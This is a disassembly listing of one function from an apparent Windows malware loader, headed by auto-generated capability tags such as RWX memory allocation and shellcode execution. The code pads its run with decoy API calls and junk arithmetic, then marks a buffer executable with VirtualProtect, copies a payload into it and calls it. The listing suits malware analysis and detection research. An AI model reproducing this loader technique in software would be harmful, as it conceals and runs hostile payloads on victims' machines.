Function at 0x4032b0
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get uefi variable
Initialize winhttp library
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
mov eax, 0x10f0
call fcn.0040d1a0
cmp dword [0x49c50c], 0xac
push ebx
push ebp
push esi
push edi
jne 0x40338a
lea eax, [esp + 0xcc]
push eax
call dword [sym.imp.USER32.dll_RegisterClassA]
lea ecx, [esp + 0xac]
push ecx
lea edx, [esp + 0xc0]
push edx
call dword [sym.imp.ole32.dll_CoGetPSClsid]
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
push esi
call fcn.00403fe9
add esp, 4
lea ecx, [esp + 0x28]
call fcn.0040401d
lea ecx, [esp + 0x28]
call fcn.0040404b
push 1
push 0x4312a0
lea ecx, [esp + 0x30]
call fcn.0040402e
lea ecx, [esp + 0x28]
mov dword [esp + 0x28], 0x402d7c
call fcn.0040404b
push esi
call fcn.004040cd
add esp, 4
push esi
push esi
call fcn.00403fd2
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00404114
fstp st(0)
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
sub esp, 8
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00404090
fstp st(0)
add esp, 0x10
mov edi, dword [sym.imp.GDI32.dll_GetCharWidthI]
xor esi, esi
cmp esi, 0xd29a
jge 0x4033a9
push 0
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
call edi
inc esi
cmp esi, 0x140e1
jl 0x403392
add dword [0x49c50c], 0x11b1b
call fcn.00403290
mov edx, dword [0x49c50c]
mov eax, dword [0x499418]
lea ecx, [esp + 0x24]
push ecx
push 0x40
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor esi, esi
cmp dword [0x49c50c], esi
jbe 0x403486
mov edi, dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
mov ebx, dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov ebp, dword [sym.imp.KERNEL32.dll_BackupSeek]
jmp 0x403400
mov ecx, dword [0x49ceac]
mov dl, byte [ecx + esi + 0x11b1b]
mov eax, dword [0x499418]
mov byte [eax + esi], dl
cmp dword [0x49c50c], 0xa8
jne 0x403479
push 0
push 0
push 0
call edi
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
push 0
lea ecx, [esp + 0x24]
push ecx
push 0
push 0
push 0
call ebp
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
xor edx, edx
xor eax, eax
mov word [esp + 0x16], ax
lea ecx, [esp + 0x20]
push ecx
mov word [esp + 0x18], dx
mov edx, dword [esp + 0x18]
push edx
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0xb8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferW]
inc esi
cmp esi, dword [0x49c50c]
jb 0x403400
mov esi, dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigW]
mov edi, dword [sym.imp.KERNEL32.dll_DebugBreak]
mov ebx, dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
xor eax, eax
mov dword [esp + 0x18], eax
mov edx, dword [0x49c50c]
add edx, eax
cmp edx, 0xe
jne 0x403535
push 0x30
lea eax, [esp + 0xd4]
push 0
push eax
mov dword [esp + 0xd8], 0
call fcn.004087e0
add esp, 0xc
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0xd0]
push edx
push 0x402c88
call esi
call edi
xor eax, eax
xor ecx, ecx
mov word [esp + 0x16], cx
lea edx, [esp + 0x20]
push edx
mov word [esp + 0x18], ax
mov eax, dword [esp + 0x18]
push eax
lea ecx, [esp + 0xb4]
push ecx
lea edx, [esp + 0xc8]
push edx
push 0
call ebx
lea eax, [esp + 0x100]
push eax
push 0
push 0
call ebp
push 0
lea ecx, [esp + 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov eax, dword [esp + 0x18]
inc eax
cmp eax, 0x4f9413
mov dword [esp + 0x18], eax
jl 0x4034a4
mov edi, dword [sym.imp.GDI32.dll_GetCharWidthA]
mov esi, 0x4f4
push 0
push 0
push 0
push 0
call edi
sub esi, 1
jne 0x403550
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
cmp esi, 0x3ba47e8
jge 0x40397e
mov dword [esp + 0x6c], 0x684c6cb9
mov dword [esp + 0x60], 0x4395b497
mov dword [esp + 0x90], 0x6f82daff
mov dword [esp + 0x58], 0x1202ba3c
mov dword [esp + 0x64], 0x50ba5420
mov dword [esp + 0x70], 0x39a7c8ed
mov dword [esp + 0x94], 0x697b9344
mov dword [esp + 0x9c], 0x2458c4ed
mov dword [esp + 0x28], 0x6580b551
mov dword [esp + 0x98], 0x6c323bd1
mov dword [esp + 0x80], 0x3340e087
mov dword [esp + 0x40], 0x6bb2483d
mov dword [esp + 0xa4], 0x1a0ce8f1
mov dword [esp + 0x44], 0x57e29de9
mov dword [esp + 0x14], 0x3e746e00
mov dword [esp + 0x20], 0x13f69777
mov dword [esp + 0x50], 0x514f90f
mov dword [esp + 0xac], 0x29f53aba
mov dword [esp + 0x7c], 0x53a26513
mov dword [esp + 0x5c], 0x458abe63
mov dword [esp + 0x8c], 0x2f1ac933
mov dword [esp + 0x18], 0x237120ed
mov dword [esp + 0x54], 0x60cc9a27
mov dword [esp + 0x38], 0x7ecac762
mov dword [esp + 0xa8], 0x94d28b5
mov dword [esp + 0xbc], 0x4f59fc0c
mov dword [esp + 0x4c], 0x65f08f22
mov dword [esp + 0x1c], 0x4a1dcb8e
mov dword [esp + 0x78], 0x36588cef
mov dword [esp + 0x84], 0x3e00b22b
mov dword [esp + 0xa0], 0x1e316ad
mov dword [esp + 0x68], 0x12467bdf
mov dword [esp + 0x88], 0x6de494d9
mov dword [esp + 0x74], 0x5879df7d
mov dword [esp + 0x48], 0x13ab4961
mov dword [esp + 0x34], 0x3f3ebbea
mov dword [esp + 0x3c], 0x62574b4f
add dword [esp + 0x6c], 0x2ca019eb
add dword [esp + 0x60], 0x4ef63233
mov eax, 0x574ce8bf
mul dword [esp + 0x90]
mov eax, dword [esp + 0x90]
sub dword [esp + 0x58], 0x2784592e
mov eax, 0x48218ba7
mul dword [esp + 0x60]
mov eax, dword [esp + 0x60]
add dword [esp + 0x64], 0x3ca08c2b
mov eax, 0xea2ff9a
mul dword [esp + 0x58]
mov eax, dword [esp + 0x58]
add dword [esp + 0x60], 0x79013c30
add dword [esp + 0x60], 0x5c7dd8d0
add dword [esp + 0x58], 0x18134f19
add dword [esp + 0x6c], 0x56b10b0a
add dword [esp + 0x90], 0x630652b3
sub dword [esp + 0x64], 0x57476c89
mov eax, 0x355ecbb7
mul dword [esp + 0x70]
mov eax, dword [esp + 0x70]
add dword [esp + 0x90], 0x3a328f91
mov eax, 0x5dd306d4
mul dword [esp + 0x94]
mov eax, dword [esp + 0x94]
sub dword [esp + 0x98], 0x29751539
add dword [esp + 0x44], 0x66bd3c24
add dword [esp + 0x20], 0x254b45b7
mov eax, 0x2a68b0f4
mul dword [esp + 0x14]
mov eax, dword [esp + 0x14]
add dword [esp + 0x70], 0x360e1261
add dword [esp + 0x44], 0xbf97aa8
mov eax, 0x469fb008
mul dword [esp + 0x64]
mov eax, dword [esp + 0x64]
sub dword [esp + 0x80], 0x6072059a
mov eax, 0x5e1acd5a
mul dword [esp + 0x70]
mov eax, dword [esp + 0x70]
mov eax, 0x3e9d23e5
mul dword [esp + 0x40]
mov eax, dword [esp + 0x40]
sub dword [esp + 0x14], 0x34c4e200
sub dword [esp + 0x94], 0x4523a308
add dword [esp + 0x64], 0x6debbca7
sub dword [esp + 0x6c], 0x44495aad
add dword [esp + 0xa4], 0x437c9486
sub dword [esp + 0x28], 0x100e5c43
add dword [esp + 0x54], 0x3692f5b4
add dword [esp + 0x44], 0x6c0e4c34
mov eax, 0x3a1def98
mul dword [esp + 0x94]
mov eax, dword [esp + 0x94]
add dword [esp + 0x9c], 0x6508187
add dword [esp + 0x98], 0x3f6975b4
mov eax, 0x64c2ebf0
mul dword [esp + 0x20]
mov eax, dword [esp + 0x20]
add dword [esp + 0x50], 0x6f1e1b63
add dword [esp + 0x60], 0x414ca55b
sub dword [esp + 0x90], 0x32417e61
mov eax, 0x781ab088
mul dword [esp + 0x9c]
mov eax, dword [esp + 0x9c]
sub dword [esp + 0x90], 0x4a2e5729
add dword [esp + 0x80], 0x489cd46a
mov eax, 0x5465779f
mul dword [esp + 0xac]
mov eax, dword [esp + 0xac]
add dword [esp + 0x54], 0x81584dc
sub dword [esp + 0x98], 0x1c04a078
add dword [esp + 0x1c], 0x545a4650
mov eax, 0x5b44c991
mul dword [esp + 0xa4]
mov eax, dword [esp + 0xa4]
mov eax, 0x6ccff921
mul dword [esp + 0x50]
mov eax, dword [esp + 0x50]
mov eax, 0x6ae54b8a
mul dword [esp + 0x80]
mov eax, dword [esp + 0x80]
sub dword [esp + 0x1c], 0x2fd2251c
add dword [esp + 0x98], 0x34b31fa0
add dword [esp + 0x9c], 0x23d706a7
mov eax, 0x36840256
mul dword [esp + 0x28]
mov eax, dword [esp + 0x28]
mov eax, 0x6d8ea0b5
mul dword [esp + 0x1c]
mov eax, dword [esp + 0x1c]
add dword [esp + 0x54], 0x7c668690
sub dword [esp + 0x14], 0x69f11e5f
mov eax, 0x58230f4a
mul dword [esp + 0x80]
mov eax, dword [esp + 0x80]
add dword [esp + 0x60], 0x2e9cdbf4
sub dword [esp + 0xa8], 0x5ed541b0
add dword [esp + 0x80], 0x39104f81
mov eax, 0x350a5f4a
mul dword [esp + 0x70]
mov eax, dword [esp + 0x70]
cmp esi, 0xbf570f
jg 0x403993
inc esi
cmp esi, 0x19ddaa4c
jl 0x403565
call fcn.00403160
call fcn.00403270
mov esi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebx, 0x7b
mov edi, edi
cmp dword [0x49c50c], 0x86
jne 0x4039d0
push 0
call esi
push 0
call edi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
sub ebx, 1
jne 0x4039b0
mov esi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_ReadConsoleW]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFirmwareEnvironmentVariableA]
mov dword [esp + 0x18], 0x180ef
cmp dword [0x49c50c], 0x1f
jne 0x403a43
push 0
lea edx, [esp + 0x104]
push edx
call esi
push 0
lea eax, [esp + 0x20]
push eax
push 0
lea ecx, [esp + 0x50c]
push ecx
push 0
call edi
push 0
lea edx, [esp + 0x904]
push edx
call esi
push 0
push 0
push 0
call ebx
push 0
lea eax, [esp + 0xd04]
push eax
push 0
push 0
call ebp
sub dword [esp + 0x18], 1
jne 0x4039f5
push 0x402d6c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, dword [0x499418]
mov dword [0x49941c], eax
call eax
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret